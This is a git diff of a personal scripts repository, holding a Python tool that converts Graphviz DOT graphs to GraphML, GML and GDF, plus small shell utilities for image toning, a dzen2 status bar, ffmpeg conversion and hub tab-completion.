adict[t[:apos].strip()] = t[apos+1:].strip().strip('"')
|
||||
|
||||
return adict
|
||||
|
||||
def getLabelAttributes(label):
|
||||
""" return the sections of the label attributes in a list structure """
|
||||
sections = []
|
||||
slist = label.split('|')
|
||||
for s in slist:
|
||||
mlist = []
|
||||
s = s.replace('\\r','\\l')
|
||||
s = s.replace('\\n','\\l')
|
||||
alist = s.split('\\l')
|
||||
for a in alist:
|
||||
a = a.strip()
|
||||
if a != "":
|
||||
mlist.append(a)
|
||||
sections.append(mlist)
|
||||
return sections
|
||||
|
||||
def colorNameToRgb(fcol, defaultcol):
|
||||
""" convert the color name fcol to an RGB string, if required """
|
||||
if not fcol.startswith('#'):
|
||||
return X11Colors.color_map.get(fcol, defaultcol)
|
||||
else:
|
||||
return fcol
|
||||
|
||||
def getColorAttribute(attribs, key, defaultcol, conf):
|
||||
""" extract the color for the attribute key and convert it
|
||||
to RGB format if required
|
||||
"""
|
||||
if conf.Colors:
|
||||
if attribs.has_key(key):
|
||||
return colorNameToRgb(attribs[key], defaultcol)
|
||||
return defaultcol
|
||||
|
||||
def escapeNewlines(label):
|
||||
""" convert the newline escape sequences in the given label """
|
||||
l = label.replace('\\n','\n')
|
||||
l = l.replace('\\l','\n')
|
||||
l = l.replace('\\r','\n')
|
||||
return l
|
||||
|
||||
class Node:
|
||||
""" a single node in the graph """
|
||||
def __init__(self):
|
||||
self.label = ""
|
||||
self.id = 0
|
||||
self.attribs = {}
|
||||
self.referenced = False
|
||||
self.sections = []
|
||||
|
||||
def initFromString(self, line):
|
||||
""" extract node info from the given text line """
|
||||
spos = line.find('[')
|
||||
atts = ""
|
||||
if spos >= 0:
|
||||
atts = line[spos+1:]
|
||||
line = line[:spos].strip()
|
||||
# Process label
|
||||
self.label = line.strip('"')
|
||||
# Process attributes
|
||||
if len(atts):
|
||||
spos = atts.rfind(']')
|
||||
if spos > 0:
|
||||
atts = atts[:spos]
|
||||
self.attribs = parseAttributes(atts)
|
||||
# Process sections
|
||||
if self.attribs.has_key("label"):
|
||||
tlabel = self.attribs["label"]
|
||||
if (tlabel != "" and
|
||||
tlabel.startswith('{') and
|
||||
tlabel.endswith('}')):
|
||||
tlabel = tlabel[1:-1]
|
||||
self.sections = getLabelAttributes(tlabel)
|
||||
|
||||
def getLabel(self, conf, multiline=False):
|
||||
""" return the label of the node """
|
||||
if conf.NodeLabels:
|
||||
if self.attribs.has_key('label'):
|
||||
if len(self.sections) > 0:
|
||||
if multiline:
|
||||
return '\n'.join(self.sections[0])
|
||||
else:
|
||||
return ','.join(self.sections[0])
|
||||
else:
|
||||
return self.attribs['label']
|
||||
else:
|
||||
return self.label
|
||||
else:
|
||||
return ""
|
||||
|
||||
def getLabelWidth(self, conf, multiline=False):
|
||||
""" return the maximum width label of the node label"""
|
||||
if conf.NodeLabels:
|
||||
if self.attribs.has_key('label'):
|
||||
if len(self.sections) > 0:
|
||||
if multiline:
|
||||
# Find maximum label width
|
||||
width = 1
|
||||
for s in self.sections[0]:
|
||||
if len(s) > width:
|
||||
width = len(s)
|
||||
for s in self.sections[1]:
|
||||
if len(s) > width:
|
||||
width = len(s)
|
||||
for s in self.sections[2]:
|
||||
if len(s) > width:
|
||||
width = len(s)
|
||||
return width
|
||||
else:
|
||||
return len(','.join(self.sections[0]))
|
||||
else:
|
||||
return len(self.attribs['label'])
|
||||
else:
|
||||
return len(self.label)
|
||||
else:
|
||||
return 0
|
||||
|
||||
def complementAttributes(self, node):
|
||||
""" from node copy all new attributes, that do not exist in self """
|
||||
for a in node.attribs:
|
||||
if not self.attribs.has_key(a):
|
||||
self.attribs[a] = node.attribs[a]
|
||||
|
||||
def exportDot(self, o, conf):
|
||||
""" write the node in DOT format to the given file """
|
||||
if len(self.attribs) > 0:
|
||||
o.write("\"%s\" %s;\n" % (self.label, compileAttributes(self.attribs)))
|
||||
else:
|
||||
o.write("\"%s\";\n" % (self.label))
|
||||
|
||||
def exportGDF(self, o, conf):
|
||||
""" write the node in GDF format to the given file """
|
||||
tlabel = self.getLabel(conf).encode(latinenc, errors="ignore")
|
||||
if tlabel == "":
|
||||
tlabel = "n%d" % self.id
|
||||
o.write("%s\n" % tlabel)
|
||||
|
||||
def exportGML(self, o, conf):
|
||||
""" write the node in GML format to the given file """
|
||||
o.write(" node [\n")
|
||||
o.write(" id %d\n" % self.id)
|
||||
o.write(" label\n")
|
||||
o.write(" \"%s\"\n" % self.getLabel(conf).encode(latinenc, errors="ignore"))
|
||||
o.write(" ]\n")
|
||||
|
||||
def exportGraphml(self, doc, parent, conf):
|
||||
""" export the node in Graphml format and append it to the parent XML node """
|
||||
node = doc.createElement(u'node')
|
||||
node.setAttribute(u'id',u'n%d' % self.id)
|
||||
|
||||
data0 = doc.createElement(u'data')
|
||||
data0.setAttribute(u'key', u'd0')
|
||||
|
||||
exportUml = False
|
||||
if len(self.sections) > 0 and conf.NodeUml and not conf.LumpAttributes:
|
||||
exportUml = True
|
||||
snode = doc.createElement(u'y:UMLClassNode')
|
||||
else:
|
||||
snode = doc.createElement(u'y:ShapeNode')
|
||||
geom = doc.createElement(u'y:Geometry')
|
||||
geom.setAttribute(u'height',u'30.0')
|
||||
geom.setAttribute(u'width',u'30.0')
|
||||
geom.setAttribute(u'x',u'0.0')
|
||||
geom.setAttribute(u'y',u'0.0')
|
||||
snode.appendChild(geom)
|
||||
color = getColorAttribute(self.attribs, 'color', conf.DefaultNodeColor, conf)
|
||||
fill = doc.createElement(u'y:Fill')
|
||||
fill.setAttribute(u'color',u'%s' % color)
|
||||
fill.setAttribute(u'transparent',u'false')
|
||||
snode.appendChild(fill)
|
||||
border = doc.createElement(u'y:BorderStyle')
|
||||
border.setAttribute(u'color',u'#000000')
|
||||
border.setAttribute(u'type',u'line')
|
||||
border.setAttribute(u'width',u'1.0')
|
||||
snode.appendChild(border)
|
||||
color = getColorAttribute(self.attribs, 'fontcolor', conf.DefaultNodeTextColor, conf)
|
||||
label = doc.createElement(u'y:NodeLabel')
|
||||
if conf.LumpAttributes:
|
||||
label.setAttribute(u'alignment',u'left')
|
||||
else:
|
||||
label.setAttribute(u'alignment',u'center')
|
||||
label.setAttribute(u'autoSizePolicy',u'content')
|
||||
label.setAttribute(u'fontFamily',u'Dialog')
|
||||
label.setAttribute(u'fontSize',u'12')
|
||||
label.setAttribute(u'fontStyle',u'plain')
|
||||
label.setAttribute(u'hasBackgroundColor',u'false')
|
||||
label.setAttribute(u'hasLineColor',u'false')
|
||||
label.setAttribute(u'modelName',u'internal')
|
||||
label.setAttribute(u'modelPosition',u'c')
|
||||
label.setAttribute(u'textColor',u'%s' % color)
|
||||
label.setAttribute(u'visible',u'true')
|
||||
nodeLabelText = escapeNewlines(self.getLabel(conf, True))
|
||||
if conf.LumpAttributes:
|
||||
# Find maximum label width
|
||||
width = self.getLabelWidth(conf, True)
|
||||
nodeLabelText += '\n' + conf.SepChar*width + '\n'
|
||||
nodeLabelText += u'%s\n' % '\n'.join(self.sections[1])
|
||||
nodeLabelText += conf.SepChar*width + '\n'
|
||||
nodeLabelText += u'%s' % '\n'.join(self.sections[2])
|
||||
label.appendChild(doc.createTextNode(u'%s' % nodeLabelText))
|
||||
snode.appendChild(label)
|
||||
if exportUml and not conf.LumpAttributes:
|
||||
shape = doc.createElement(u'y:UML')
|
||||
shape.setAttribute(u'clipContent',u'true')
|
||||
shape.setAttribute(u'constraint',u'')
|
||||
shape.setAttribute(u'omitDetails',u'false')
|
||||
shape.setAttribute(u'stereotype',u'')
|
||||
shape.setAttribute(u'use3DEffect',u'true')
|
||||
|
||||
alabel = doc.createElement(u'y:AttributeLabel')
|
||||
alabel.appendChild(doc.createTextNode(u'%s' % '\n'.join(self.sections[1])))
|
||||
shape.appendChild(alabel)
|
||||
mlabel = doc.createElement(u'y:MethodLabel')
|
||||
mlabel.appendChild(doc.createTextNode(u'%s' % '\n'.join(self.sections[2])))
|
||||
shape.appendChild(mlabel)
|
||||
else:
|
||||
shape = doc.createElement(u'y:Shape')
|
||||
shape.setAttribute(u'type',u'rectangle')
|
||||
snode.appendChild(shape)
|
||||
data0.appendChild(snode)
|
||||
node.appendChild(data0)
|
||||
|
||||
data1 = doc.createElement(u'data')
|
||||
data1.setAttribute(u'key', u'd1')
|
||||
node.appendChild(data1)
|
||||
|
||||
parent.appendChild(node)
|
||||
|
||||
class Edge:
|
||||
""" a single edge in the graph """
|
||||
def __init__(self):
|
||||
self.id = 0
|
||||
self.src = ""
|
||||
self.dest = ""
|
||||
self.attribs = {}
|
||||
|
||||
def initFromString(self, line):
|
||||
""" extract edge info from the given text line """
|
||||
spos = line.find('[')
|
||||
atts = ""
|
||||
if spos >= 0:
|
||||
atts = line[spos+1:]
|
||||
line = line[:spos].strip()
|
||||
|
||||
# Process labels
|
||||
ll = line.replace('->',' ').split()
|
||||
if len(ll) > 1:
|
||||
self.src = ll[0].strip('"')
|
||||
self.dest = ll[1].rstrip(';').strip('"')
|
||||
# Process attributes
|
||||
if len(atts):
|
||||
spos = atts.rfind(']')
|
||||
if spos > 0:
|
||||
atts = atts[:spos]
|
||||
self.attribs = parseAttributes(atts)
|
||||
|
||||
def getLabel(self, nodes, conf):
|
||||
""" return the label of the edge """
|
||||
if conf.EdgeLabels:
|
||||
if self.attribs.has_key('label'):
|
||||
return self.attribs['label']
|
||||
else:
|
||||
if conf.EdgeLabelsAutoComplete:
|
||||
srclink = self.src
|
||||
destlink = self.dest
|
||||
if (nodes[self.src].attribs.has_key('label')):
|
||||
srclink = nodes[self.src].attribs['label']
|
||||
if (nodes[self.dest].attribs.has_key('label')):
|
||||
destlink = nodes[self.dest].attribs['label']
|
||||
return "%s -> %s" % (srclink, destlink)
|
||||
else:
|
||||
return ""
|
||||
else:
|
||||
return ""
|
||||
|
||||
def complementAttributes(self, edge):
|
||||
""" from edge copy all new attributes, that do not exist in self """
|
||||
for a in edge.attribs:
|
||||
if not self.attribs.has_key(a):
|
||||
self.attribs[a] = edge.attribs[a]
|
||||
|
||||
def exportDot(self, o, nodes, conf):
|
||||
""" write the edge in DOT format to the given file """
|
||||
if len(self.attribs) > 0:
|
||||
o.write("\"%s\" -> \"%s\" %s;\n" % (self.src, self.dest, compileAttributes(self.attribs)))
|
||||
else:
|
||||
o.write("\"%s\" -> \"%s\";\n" % (self.src, self.dest))
|
||||
|
||||
def exportGDF(self, o, nodes, conf):
|
||||
""" write the edge in GDF format to the given file """
|
||||
slabel = nodes[self.src].getLabel(conf)
|
||||
if slabel == "":
|
||||
slabel = "n%d" % nodes[self.src].id
|
||||
dlabel = nodes[self.dest].getLabel(conf)
|
||||
if dlabel == "":
|
||||
dlabel = "n%d" % nodes[self.dest].id
|
||||
o.write("%s,%s\n" % (slabel.encode(latinenc, errors="ignore"), dlabel.encode(latinenc, errors="ignore")))
|
||||
|
||||
def exportGML(self, o, nodes, conf):
|
||||
""" write the edge in GML format to the given file """
|
||||
o.write(" edge [\n")
|
||||
o.write(" source %d\n" % nodes[self.src].id)
|
||||
o.write(" target %d\n" % nodes[self.dest].id)
|
||||
o.write(" label\n")
|
||||
o.write(" \"%s\"\n" % self.getLabel(nodes, conf).encode(latinenc, errors="ignore"))
|
||||
o.write(" ]\n")
|
||||
|
||||
def exportGraphml(self, doc, parent, nodes, conf):
|
||||
""" export the edge in Graphml format and append it to the parent XML node """
|
||||
edge = doc.createElement(u'edge')
|
||||
edge.setAttribute(u'id',u'e%d' % self.id)
|
||||
edge.setAttribute(u'source',u'n%d' % nodes[self.src].id)
|
||||
edge.setAttribute(u'target',u'n%d' % nodes[self.dest].id)
|
||||
|
||||
data2 = doc.createElement(u'data')
|
||||
data2.setAttribute(u'key', u'd2')
|
||||
|
||||
pedge = doc.createElement(u'y:PolyLineEdge')
|
||||
line = doc.createElement(u'y:LineStyle')
|
||||
color = getColorAttribute(self.attribs, 'color', conf.DefaultEdgeColor, conf)
|
||||
line.setAttribute(u'color',u'%s' % color)
|
||||
line.setAttribute(u'type', u'line')
|
||||
line.setAttribute(u'width', u'1.0')
|
||||
pedge.appendChild(line)
|
||||
arrow = doc.createElement(u'y:Arrows')
|
||||
arrow_tail = conf.DefaultArrowTail
|
||||
arrow_head = conf.DefaultArrowHead
|
||||
if conf.Arrows:
|
||||
if self.attribs.has_key('arrowtail'):
|
||||
arrow_head = self.attribs['arrowtail']
|
||||
if self.attribs.has_key('arrowhead'):
|
||||
arrow_tail = self.attribs['arrowhead']
|
||||
arrow.setAttribute(u'source',u'%s' % arrow_head)
|
||||
arrow.setAttribute(u'target',u'%s' % arrow_tail)
|
||||
pedge.appendChild(arrow)
|
||||
if conf.EdgeLabels:
|
||||
tlabel = self.getLabel(nodes, conf)
|
||||
if tlabel != "":
|
||||
label = doc.createElement(u'y:EdgeLabel')
|
||||
color = getColorAttribute(self.attribs, 'fontcolor', conf.DefaultEdgeTextColor, conf)
|
||||
label.setAttribute(u'alignment',u'center')
|
||||
label.setAttribute(u'distance',u'2.0')
|
||||
label.setAttribute(u'fontFamily',u'Dialog')
|
||||
label.setAttribute(u'fontSize',u'12')
|
||||
label.setAttribute(u'fontStyle',u'plain')
|
||||
label.setAttribute(u'hasBackgroundColor',u'false')
|
||||
label.setAttribute(u'hasLineColor',u'false')
|
||||
label.setAttribute(u'modelName',u'six_pos')
|
||||
label.setAttribute(u'modelPosition',u'tail')
|
||||
label.setAttribute(u'textColor',u'%s' % color)
|
||||
label.setAttribute(u'visible',u'true')
|
||||
label.setAttribute(u'preferredPlacement',u'anywhere')
|
||||
label.setAttribute(u'ratio',u'0.5')
|
||||
label.appendChild(doc.createTextNode(u'%s' % escapeNewlines(tlabel)))
|
||||
pedge.appendChild(label)
|
||||
bend = doc.createElement(u'y:BendStyle')
|
||||
bend.setAttribute(u'smoothed', u'false')
|
||||
pedge.appendChild(bend)
|
||||
data2.appendChild(pedge)
|
||||
edge.appendChild(data2)
|
||||
|
||||
data3 = doc.createElement(u'data')
|
||||
data3.setAttribute(u'key', u'd3')
|
||||
edge.appendChild(data3)
|
||||
|
||||
parent.appendChild(edge)
|
||||
Executable
+334
@@ -0,0 +1,334 @@
|
||||
# coding: latin-1
|
||||
# Copyright (c) 2009,2010,2011,2012 Dirk Baechle.
|
||||
# www: https://bitbucket.org/dirkbaechle/dottoxml
|
||||
# mail: dl9obn AT darc.de
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify it under
|
||||
# the terms of the GNU General Public License as published by the Free Software
|
||||
# Foundation; either version 2 of the License, or (at your option) any later
|
||||
# version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License along with
|
||||
# this program; if not, write to the Free Software Foundation, Inc.,
|
||||
# 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||
"""
|
||||
%dottoxml.py [options] <infile.dot> <outfile.graphml>
|
||||
|
||||
convert a DOT file to Graphml XML (and various other formats)
|
||||
"""
|
||||
|
||||
import sys
|
||||
import locale
|
||||
import optparse
|
||||
|
||||
import dot
|
||||
|
||||
# Usage message
|
||||
usgmsg = "Usage: dottoxml.py [options] infile.dot outfile.graphml"
|
||||
|
||||
def usage():
|
||||
print "dottoxml 1.4, 2012-07-12, Dirk Baechle\n"
|
||||
print usgmsg
|
||||
print "Hint: Try '-h' or '--help' for further infos!"
|
||||
|
||||
def exportDot(o, nodes, edges, options):
|
||||
o.write("graph [\n")
|
||||
|
||||
for k,nod in nodes.iteritems():
|
||||
nod.exportDot(o,options)
|
||||
for el in edges:
|
||||
el.exportDot(o,nodes,options)
|
||||
|
||||
def exportGML(o, nodes, edges, options):
|
||||
o.write("graph [\n")
|
||||
o.write(" comment \"Created by dottoxml.py\"\n")
|
||||
o.write(" directed 1\n")
|
||||
o.write(" IsPlanar 1\n")
|
||||
|
||||
for k,nod in nodes.iteritems():
|
||||
nod.exportGML(o,options)
|
||||
for el in edges:
|
||||
el.exportGML(o,nodes,options)
|
||||
|
||||
o.write("]\n")
|
||||
|
||||
def exportGraphml(o, nodes, edges, options):
|
||||
import xml.dom.minidom
|
||||
doc = xml.dom.minidom.Document()
|
||||
root = doc.createElement(u'graphml')
|
||||
root.setAttribute(u'xmlns',u'http://graphml.graphdrawing.org/xmlns/graphml')
|
||||
root.setAttribute(u'xmlns:xsi',u'http://www.w3.org/2001/XMLSchema-instance')
|
||||
root.setAttribute(u'xmlns:y',u'http://www.yworks.com/xml/graphml')
|
||||
root.setAttribute(u'xsi:schemaLocation',u'http://graphml.graphdrawing.org/xmlns/graphml http://www.yworks.com/xml/schema/graphml/1.0/ygraphml.xsd')
|
||||
doc.appendChild(root)
|
||||
key = doc.createElement(u'key')
|
||||
key.setAttribute(u'for',u'node')
|
||||
key.setAttribute(u'id',u'd0')
|
||||
key.setAttribute(u'yfiles.type',u'nodegraphics')
|
||||
root.appendChild(key)
|
||||
|
||||
key = doc.createElement(u'key')
|
||||
key.setAttribute(u'attr.name',u'description')
|
||||
key.setAttribute(u'attr.type',u'string')
|
||||
key.setAttribute(u'for',u'node')
|
||||
key.setAttribute(u'id',u'd1')
|
||||
root.appendChild(key)
|
||||
|
||||
key = doc.createElement(u'key')
|
||||
key.setAttribute(u'for',u'edge')
|
||||
key.setAttribute(u'id',u'd2')
|
||||
key.setAttribute(u'yfiles.type',u'edgegraphics')
|
||||
root.appendChild(key)
|
||||
|
||||
key = doc.createElement(u'key')
|
||||
key.setAttribute(u'attr.name',u'description')
|
||||
key.setAttribute(u'attr.type',u'string')
|
||||
key.setAttribute(u'for',u'edge')
|
||||
key.setAttribute(u'id',u'd3')
|
||||
root.appendChild(key)
|
||||
|
||||
key = doc.createElement(u'key')
|
||||
key.setAttribute(u'for',u'graphml')
|
||||
key.setAttribute(u'id',u'd4')
|
||||
key.setAttribute(u'yfiles.type',u'resources')
|
||||
root.appendChild(key)
|
||||
|
||||
graph = doc.createElement(u'graph')
|
||||
graph.setAttribute(u'edgedefault',u'directed')
|
||||
graph.setAttribute(u'id',u'G')
|
||||
graph.setAttribute(u'parse.edges',u'%d' % len(edges))
|
||||
graph.setAttribute(u'parse.nodes',u'%d' % len(nodes))
|
||||
graph.setAttribute(u'parse.order', u'free')
|
||||
|
||||
for k,nod in nodes.iteritems():
|
||||
nod.exportGraphml(doc, graph, options)
|
||||
for el in edges:
|
||||
el.exportGraphml(doc, graph, nodes, options)
|
||||
|
||||
root.appendChild(graph)
|
||||
|
||||
data = doc.createElement(u'data')
|
||||
data.setAttribute(u'key',u'd4')
|
||||
res = doc.createElement(u'y:Resources')
|
||||
data.appendChild(res)
|
||||
root.appendChild(data)
|
||||
|
||||
o.write(doc.toxml(encoding="utf-8"))
|
||||
|
||||
def exportGDF(o, nodes, edges, options):
|
||||
o.write("nodedef> name\n")
|
||||
for k,nod in nodes.iteritems():
|
||||
nod.exportGDF(o, options)
|
||||
for el in edges:
|
||||
el.exportGDF(o,nodes,options)
|
||||
o.write("edgedef> node1,node2\n")
|
||||
|
||||
def main():
|
||||
parser = optparse.OptionParser(usage=usgmsg)
|
||||
parser.add_option('-f', '--format',
|
||||
action='store', dest='format', default='Graphml',
|
||||
help='selects the output format (Graphml|GML|GDF) [default : %default]')
|
||||
parser.add_option('-v', '--verbose',
|
||||
action='store_true', dest='verbose', default=False,
|
||||
help='enables messages (infos, warnings)')
|
||||
parser.add_option('-s', '--sweep',
|
||||
action='store_true', dest='sweep', default=False,
|
||||
help='sweep nodes (remove nodes that are not connected)')
|
||||
parser.add_option('--nn', '--no-nodes',
|
||||
action='store_false', dest='NodeLabels', default=True,
|
||||
help='do not output any node labels [Graphml]')
|
||||
parser.add_option('--ne', '--no-edges',
|
||||
action='store_false', dest='EdgeLabels', default=True,
|
||||
help='do not output any edge labels [Graphml]')
|
||||
parser.add_option('--nu', '--no-uml',
|
||||
action='store_false', dest='NodeUml', default=True,
|
||||
help='do not output any node methods/attributes in UML [Graphml]')
|
||||
parser.add_option('--na', '--no-arrows',
|
||||
action='store_false', dest='Arrows', default=True,
|
||||
help='do not output any arrows [Graphml]')
|
||||
parser.add_option('--nc', '--no-colors',
|
||||
action='store_false', dest='Colors', default=True,
|
||||
help='do not output any colors [Graphml]')
|
||||
parser.add_option('--la', '--lump-attributes',
|
||||
action='store_true', dest='LumpAttributes', default=False,
|
||||
help='lump class attributes/methods together with the node label [Graphml]')
|
||||
parser.add_option('--sc', '--separator-char',
|
||||
action='store', dest='SepChar', default='_', metavar='SEPCHAR',
|
||||
help='default separator char when lumping attributes/methods [default : "_"]')
|
||||
parser.add_option('--ae', '--auto-edges',
|
||||
action='store_true', dest='EdgeLabelsAutoComplete', default=False,
|
||||
help='auto-complete edge labels')
|
||||
parser.add_option('--ah', '--arrowhead',
|
||||
action='store', dest='DefaultArrowHead', default='none', metavar='TYPE',
|
||||
help='sets the default appearance of arrow heads for edges (normal|diamond|dot|...) [default : %default]')
|
||||
parser.add_option('--at', '--arrowtail',
|
||||
action='store', dest='DefaultArrowTail', default='none', metavar='TYPE',
|
||||
help='sets the default appearance of arrow tails for edges (normal|diamond|dot|...) [default : %default]')
|
||||
parser.add_option('--cn', '--color-nodes',
|
||||
action='store', dest='DefaultNodeColor', default='#CCCCFF', metavar='COLOR',
|
||||
help='default node color [default : "#CCCCFF"]')
|
||||
parser.add_option('--ce', '--color-edges',
|
||||
action='store', dest='DefaultEdgeColor', default='#000000', metavar='COLOR',
|
||||
help='default edge color [default : "#000000"]')
|
||||
parser.add_option('--cnt', '--color-nodes-text',
|
||||
action='store', dest='DefaultNodeTextColor', default='#000000', metavar='COLOR',
|
||||
help='default node text color for labels [default : "#000000"]')
|
||||
parser.add_option('--cet', '--color-edges-text',
|
||||
action='store', dest='DefaultEdgeTextColor', default='#000000', metavar='COLOR',
|
||||
help='default edge text color for labels [default : "#000000"]')
|
||||
parser.add_option('--ienc', '--input-encoding',
|
||||
action='store', dest='InputEncoding', default='', metavar='ENCODING',
|
||||
help='override encoding for input file [default : locale setting]')
|
||||
parser.add_option('--oenc', '--output-encoding',
|
||||
action='store', dest='OutputEncoding', default='', metavar='ENCODING',
|
||||
help='override encoding for text output files [default : locale setting]')
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if len(args) < 2:
|
||||
usage()
|
||||
sys.exit(1)
|
||||
|
||||
infile = args[0]
|
||||
outfile = args[1]
|
||||
|
||||
options.DefaultNodeColor = dot.colorNameToRgb(options.DefaultNodeColor, '#CCCCFF')
|
||||
options.DefaultEdgeColor = dot.colorNameToRgb(options.DefaultEdgeColor, '#000000')
|
||||
options.DefaultNodeTextColor = dot.colorNameToRgb(options.DefaultNodeTextColor, '#000000')
|
||||
options.DefaultEdgeTextColor = dot.colorNameToRgb(options.DefaultEdgeTextColor, '#000000')
|
||||
|
||||
preferredEncoding = locale.getpreferredencoding()
|
||||
if options.InputEncoding == "":
|
||||
options.InputEncoding = preferredEncoding
|
||||
if options.OutputEncoding == "":
|
||||
options.OutputEncoding = preferredEncoding
|
||||
|
||||
if options.verbose:
|
||||
print "Input file: %s " % infile
|
||||
print "Output file: %s " % outfile
|
||||
print "Output format: %s" % options.format.lower()
|
||||
print "Input encoding: %s" % options.InputEncoding
|
||||
if options.format.lower() == "graphml":
|
||||
print "Output encoding: utf-8 (fix for Graphml)"
|
||||
else:
|
||||
print "Output encoding: %s" % options.OutputEncoding
|
||||
|
||||
# Collect nodes and edges
|
||||
nodes = {}
|
||||
edges = []
|
||||
default_edge = None
|
||||
default_node = None
|
||||
nid = 1
|
||||
eid = 1
|
||||
f = open(infile, 'r')
|
||||
content = f.read().splitlines()
|
||||
f.close()
|
||||
|
||||
idx = 0
|
||||
while idx < len(content):
|
||||
l = unicode(content[idx], options.InputEncoding)
|
||||
if '->' in l:
|
||||
# Check for multiline edge
|
||||
if '[' in l and ']' not in l:
|
||||
ml = ""
|
||||
while ']' not in ml:
|
||||
idx += 1
|
||||
ml = unicode(content[idx], options.InputEncoding)
|
||||
l = ' '.join([l.rstrip(), ml.lstrip()])
|
||||
# Process edge
|
||||
e = dot.Edge()
|
||||
e.initFromString(l)
|
||||
e.id = eid
|
||||
eid += 1
|
||||
if default_edge:
|
||||
e.complementAttributes(default_edge)
|
||||
edges.append(e)
|
||||
elif '[' in l:
|
||||
# Check for multiline node
|
||||
if ']' not in l:
|
||||
ml = ""
|
||||
while ']' not in ml:
|
||||
idx += 1
|
||||
ml = unicode(content[idx], options.InputEncoding)
|
||||
l = ' '.join([l.rstrip(), ml.lstrip()])
|
||||
# Process node
|
||||
n = dot.Node()
|
||||
n.initFromString(l)
|
||||
lowlabel = n.label.lower()
|
||||
if (lowlabel != 'graph' and
|
||||
lowlabel != 'edge' and
|
||||
lowlabel != 'node'):
|
||||
n.id = nid
|
||||
nid += 1
|
||||
if default_node:
|
||||
n.complementAttributes(default_node)
|
||||
nodes[n.label] = n
|
||||
else:
|
||||
if lowlabel == 'edge':
|
||||
default_edge = n
|
||||
elif lowlabel == 'node':
|
||||
default_node = n
|
||||
elif 'charset=' in l:
|
||||
# Pick up input encoding from DOT file
|
||||
li = l.strip().split('=')
|
||||
if len(li) == 2:
|
||||
ienc = li[1].strip('"')
|
||||
if ienc != "":
|
||||
options.InputEncoding = ienc
|
||||
if options.verbose:
|
||||
print "Info: Picked up input encoding '%s' from the DOT file." % ienc
|
||||
idx += 1
|
||||
|
||||
# Add single nodes, if required
|
||||
for e in edges:
|
||||
if not nodes.has_key(e.src):
|
||||
n = dot.Node()
|
||||
n.label = e.src
|
||||
n.id = nid
|
||||
nid += 1
|
||||
nodes[e.src] = n
|
||||
if not nodes.has_key(e.dest):
|
||||
n = dot.Node()
|
||||
n.label = e.dest
|
||||
n.id = nid
|
||||
nid += 1
|
||||
nodes[e.dest] = n
|
||||
nodes[e.src].referenced = True
|
||||
nodes[e.dest].referenced = True
|
||||
|
||||
if options.verbose:
|
||||
print "\nNodes: %d " % len(nodes)
|
||||
print "Edges: %d " % len(edges)
|
||||
|
||||
if options.sweep:
|
||||
rnodes = {}
|
||||
for key, n in nodes.iteritems():
|
||||
if n.referenced:
|
||||
rnodes[key] = n
|
||||
nodes = rnodes
|
||||
if options.verbose:
|
||||
print "\nNodes after sweep: %d " % len(nodes)
|
||||
|
||||
# Output
|
||||
o = open(outfile, 'w')
|
||||
format = options.format.lower()
|
||||
if format == 'dot':
|
||||
exportDot(o, nodes, edges, options)
|
||||
elif format == 'graphml':
|
||||
exportGraphml(o, nodes, edges, options)
|
||||
elif format == 'gdf':
|
||||
exportGDF(o, nodes, edges, options)
|
||||
else: # GML
|
||||
exportGML(o, nodes, edges, options)
|
||||
o.close()
|
||||
|
||||
if options.verbose:
|
||||
print "\nDone."
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
#!/usr/bin/env bash
|
||||
#see /usr/local/bin/block_subnet.sh
|
||||
set -euo pipefail
|
||||
|
||||
IP="${1:-}"
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
for i in `cat list.txt`; do graytoning -r 127 -g 72 -b 49 "$i" "$i"_one.pdf ; graytoning "$i" "$i"_two.pdf ; done
|
||||
|
||||
#convert face_pixelated.png -negate circle_array.gif -virtual-pixel tile -fx 'u[floor(11.9999*u)+1]' \
|
||||
#for i in `cat list.txt`; do convert "$i"_one.png -ordered-dither o2x2 "$i"_ruzovka.pdf ; done
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
#!/bin/sh
|
||||
|
||||
# Settings
|
||||
BG='#000000' # background
|
||||
FG='#FFFFFF' # foreground
|
||||
FN='-*-nu-*-*-*-*-*-*-*-*-*-*-*-*' # font
|
||||
|
||||
while true; do
|
||||
sleep .5
|
||||
|
||||
# Remind
|
||||
REMIND=`remind '-kecho %s'`
|
||||
|
||||
# Clock
|
||||
CLOCK=`date +"%H:%M "`
|
||||
|
||||
echo "^fg(#A9A28F)$REMIND ^fg(#FFFFFF)$CLOCK"
|
||||
|
||||
|
||||
done | dzen2 -ta r -fg $FG -bg $BG -fn $FN -h 17 -w 120 -x 910 -y 0 -e 'button1=exec:orage;'-
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+2
@@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
ffmpeg -f rawvideo -vcodec rawvideo -pix_fmt y8 -s 32x18 -r 60 -i "$1" -f s8 -sample_rate 34560 -ac 1 -i "$1" -r 60 -s 400x225 -sws_flags accurate_rnd -sws_dither bayer -b:v 8M -b:a 256K -ac 1 -ar 44100 /tmp/out.mpg
|
||||
Executable
+362
@@ -0,0 +1,362 @@
|
||||
# hub tab-completion script for bash.
|
||||
# This script complements the completion script that ships with git.
|
||||
|
||||
# Check that git tab completion is available
|
||||
if declare -F _git > /dev/null; then
|
||||
# Duplicate and rename the 'list_all_commands' function
|
||||
eval "$(declare -f __git_list_all_commands | \
|
||||
sed 's/__git_list_all_commands/__git_list_all_commands_without_hub/')"
|
||||
|
||||
# Wrap the 'list_all_commands' function with extra hub commands
|
||||
__git_list_all_commands() {
|
||||
cat <<-EOF
|
||||
alias
|
||||
pull-request
|
||||
fork
|
||||
create
|
||||
browse
|
||||
compare
|
||||
ci-status
|
||||
EOF
|
||||
__git_list_all_commands_without_hub
|
||||
}
|
||||
|
||||
# Ensure cached commands are cleared
|
||||
__git_all_commands=""
|
||||
|
||||
##########################
|
||||
# hub command completions
|
||||
##########################
|
||||
|
||||
# hub alias [-s] [SHELL]
|
||||
_git_alias() {
|
||||
